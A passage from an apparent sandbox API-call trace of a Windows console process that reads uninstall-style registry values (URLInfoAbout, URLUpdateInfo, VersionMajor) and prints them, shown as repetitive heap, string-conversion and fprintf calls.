lpUsedDefaultChar=0x0) returned 4 [0149.749] GetConsoleOutputCP () returned 0x1b5 [0149.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.749] __iob_func () returned 0x7fefd702a80 [0149.749] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.750] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.750] _fileno (_File=0x7fefd702ab0) returned 1 [0149.750] _errno () returned 0x204bb0 [0149.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.750] _errno () returned 0x204bb0 [0149.750] GetFileType (hFile=0x50) returned 0x1 [0149.750] lstrlenW (lpString="0x1") returned 3 [0149.750] GetConsoleOutputCP () returned 0x1b5 [0149.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.750] GetConsoleOutputCP () returned 0x1b5 [0149.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.750] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.750] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.750] __iob_func () returned 0x7fefd702a80 [0149.750] _fileno (_File=0x7fefd702ab0) returned 1 [0149.750] _errno () returned 0x204bb0 [0149.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.750] _errno () returned 0x204bb0 [0149.750] GetFileType (hFile=0x50) returned 0x1 [0149.750] lstrlenW (lpString="\n") returned 1 [0149.750] GetConsoleOutputCP () returned 0x1b5 [0149.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.750] GetConsoleOutputCP () returned 0x1b5 [0149.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.751] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.751] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.751] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.751] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.751] GetProcessHeap () returned 0x3c0000 [0149.751] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.751] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.751] __iob_func () returned 0x7fefd702a80 [0149.751] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.751] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.751] _fileno (_File=0x7fefd702ab0) returned 1 [0149.751] _errno () returned 0x204bb0 [0149.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.751] _errno () returned 0x204bb0 [0149.751] GetFileType (hFile=0x50) returned 0x1 [0149.751] lstrlenW (lpString=" ") returned 4 [0149.751] GetConsoleOutputCP () returned 0x1b5 [0149.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.752] GetConsoleOutputCP () returned 0x1b5 [0149.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.752] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.752] __iob_func () returned 0x7fefd702a80 [0149.752] _fileno (_File=0x7fefd702ab0) returned 1 [0149.752] _errno () returned 0x204bb0 [0149.752] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.752] _errno () returned 0x204bb0 [0149.752] GetFileType (hFile=0x50) returned 0x1 [0149.752] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.752] GetConsoleOutputCP () returned 0x1b5 [0149.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.752] GetConsoleOutputCP () returned 0x1b5 [0149.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0149.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.753] __iob_func () returned 0x7fefd702a80 [0149.753] _fileno (_File=0x7fefd702ab0) returned 1 [0149.753] _errno () returned 0x204bb0 [0149.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.753] _errno () returned 0x204bb0 [0149.753] GetFileType (hFile=0x50) returned 0x1 [0149.753] lstrlenW (lpString=" ") returned 4 [0149.753] GetConsoleOutputCP () returned 0x1b5 [0149.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.753] GetConsoleOutputCP () returned 0x1b5 [0149.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.753] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.753] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.753] __iob_func () returned 0x7fefd702a80 [0149.753] _fileno (_File=0x7fefd702ab0) returned 1 [0149.753] _errno () returned 0x204bb0 [0149.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.753] _errno () returned 0x204bb0 [0149.753] GetFileType (hFile=0x50) returned 0x1 [0149.753] lstrlenW (lpString="REG_SZ") returned 6 [0149.753] GetConsoleOutputCP () returned 0x1b5 [0149.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.754] GetConsoleOutputCP () returned 0x1b5 [0149.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.754] __iob_func () returned 0x7fefd702a80 [0149.754] _fileno (_File=0x7fefd702ab0) returned 1 [0149.754] _errno () returned 0x204bb0 [0149.754] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.754] _errno () returned 0x204bb0 [0149.754] GetFileType (hFile=0x50) returned 0x1 [0149.754] lstrlenW (lpString=" ") returned 4 [0149.754] GetConsoleOutputCP () returned 0x1b5 [0149.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.754] GetConsoleOutputCP () returned 0x1b5 [0149.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.754] __iob_func () returned 0x7fefd702a80 [0149.754] _fileno (_File=0x7fefd702ab0) returned 1 [0149.754] _errno () returned 0x204bb0 [0149.754] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.754] _errno () returned 0x204bb0 [0149.754] GetFileType (hFile=0x50) returned 0x1 [0149.755] lstrlenW (lpString="") returned 0 [0149.755] __iob_func () returned 0x7fefd702a80 [0149.755] _fileno (_File=0x7fefd702ab0) returned 1 [0149.755] _errno () returned 0x204bb0 [0149.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.755] _errno () returned 0x204bb0 [0149.755] GetFileType (hFile=0x50) returned 0x1 [0149.755] lstrlenW (lpString="\n") returned 1 [0149.755] GetConsoleOutputCP () returned 0x1b5 [0149.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.755] GetConsoleOutputCP () returned 0x1b5 [0149.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.755] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.755] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.755] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.755] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.755] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.755] GetProcessHeap () returned 0x3c0000 [0149.755] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.756] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.756] __iob_func () returned 0x7fefd702a80 [0149.756] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.756] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.756] _fileno (_File=0x7fefd702ab0) returned 1 [0149.756] _errno () returned 0x204bb0 [0149.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.756] _errno () returned 0x204bb0 [0149.756] GetFileType (hFile=0x50) returned 0x1 [0149.756] lstrlenW (lpString=" ") returned 4 [0149.756] GetConsoleOutputCP () returned 0x1b5 [0149.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.756] GetConsoleOutputCP () returned 0x1b5 [0149.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.756] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.756] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.756] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.756] __iob_func () returned 0x7fefd702a80 [0149.756] _fileno (_File=0x7fefd702ab0) returned 1 [0149.756] _errno () returned 0x204bb0 [0149.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.756] _errno () returned 0x204bb0 [0149.756] GetFileType (hFile=0x50) returned 0x1 [0149.756] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.756] GetConsoleOutputCP () returned 0x1b5 [0149.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.757] GetConsoleOutputCP () returned 0x1b5 [0149.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0149.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.757] __iob_func () returned 0x7fefd702a80 [0149.757] _fileno (_File=0x7fefd702ab0) returned 1 [0149.757] _errno () returned 0x204bb0 [0149.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.757] _errno () returned 0x204bb0 [0149.757] GetFileType (hFile=0x50) returned 0x1 [0149.757] lstrlenW (lpString=" ") returned 4 [0149.757] GetConsoleOutputCP () returned 0x1b5 [0149.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.757] GetConsoleOutputCP () returned 0x1b5 [0149.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.757] __iob_func () returned 0x7fefd702a80 [0149.757] _fileno (_File=0x7fefd702ab0) returned 1 [0149.758] _errno () returned 0x204bb0 [0149.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.758] _errno () returned 0x204bb0 [0149.758] GetFileType (hFile=0x50) returned 0x1 [0149.758] lstrlenW (lpString="REG_SZ") returned 6 [0149.758] GetConsoleOutputCP () returned 0x1b5 [0149.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.758] GetConsoleOutputCP () returned 0x1b5 [0149.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.758] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.758] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.758] __iob_func () returned 0x7fefd702a80 [0149.758] _fileno (_File=0x7fefd702ab0) returned 1 [0149.758] _errno () returned 0x204bb0 [0149.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.758] _errno () returned 0x204bb0 [0149.758] GetFileType (hFile=0x50) returned 0x1 [0149.758] lstrlenW (lpString=" ") returned 4 [0149.758] GetConsoleOutputCP () returned 0x1b5 [0149.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.758] GetConsoleOutputCP () returned 0x1b5 [0149.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.759] __iob_func () returned 0x7fefd702a80 [0149.759] _fileno (_File=0x7fefd702ab0) returned 1 [0149.759] _errno () returned 0x204bb0 [0149.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.759] _errno () returned 0x204bb0 [0149.759] GetFileType (hFile=0x50) returned 0x1 [0149.759] lstrlenW (lpString="") returned 0 [0149.759] __iob_func () returned 0x7fefd702a80 [0149.759] _fileno (_File=0x7fefd702ab0) returned 1 [0149.759] _errno () returned 0x204bb0 [0149.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.759] _errno () returned 0x204bb0 [0149.759] GetFileType (hFile=0x50) returned 0x1 [0149.759] lstrlenW (lpString="\n") returned 1 [0149.759] GetConsoleOutputCP () returned 0x1b5 [0149.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.759] GetConsoleOutputCP () returned 0x1b5 [0149.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.759] GetProcessHeap () returned 0x3c0000 [0149.759] GetProcessHeap () returned 0x3c0000 [0149.759] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.759] GetProcessHeap () returned 0x3c0000 [0149.759] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.760] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.760] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.760] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.760] GetProcessHeap () returned 0x3c0000 [0149.760] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.760] GetProcessHeap () returned 0x3c0000 [0149.760] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.760] GetProcessHeap () returned 0x3c0000 [0149.760] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.760] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x2, pcbData=0x29f780*=0x4) returned 0x0 [0149.760] __iob_func () returned 0x7fefd702a80 [0149.760] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.760] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.760] _fileno (_File=0x7fefd702ab0) returned 1 [0149.760] _errno () returned 0x204bb0 [0149.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.760] _errno () returned 0x204bb0 [0149.760] GetFileType (hFile=0x50) returned 0x1 [0149.760] lstrlenW (lpString=" ") returned 4 [0149.760] GetConsoleOutputCP () returned 0x1b5 [0149.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.760] GetConsoleOutputCP () returned 0x1b5 [0149.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.760] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.760] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.761] lstrlenW (lpString="VersionMajor") returned 12 [0149.761] __iob_func () returned 0x7fefd702a80 [0149.761] _fileno (_File=0x7fefd702ab0) returned 1 [0149.761] _errno () returned 0x204bb0 [0149.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.761] _errno () returned 0x204bb0 [0149.761] GetFileType (hFile=0x50) returned 0x1 [0149.761] lstrlenW (lpString="VersionMajor") returned 12 [0149.761] GetConsoleOutputCP () returned 0x1b5 [0149.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.761] GetConsoleOutputCP () returned 0x1b5 [0149.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0149.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.761] __iob_func () returned 0x7fefd702a80 [0149.761] _fileno (_File=0x7fefd702ab0) returned 1 [0149.761] _errno () returned 0x204bb0 [0149.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.761] _errno () returned 0x204bb0 [0149.761] GetFileType (hFile=0x50) returned 0x1 [0149.761] lstrlenW (lpString=" ") returned 4 [0149.761] GetConsoleOutputCP () returned 0x1b5 [0149.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.762] GetConsoleOutputCP () returned 0x1b5 [0149.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, 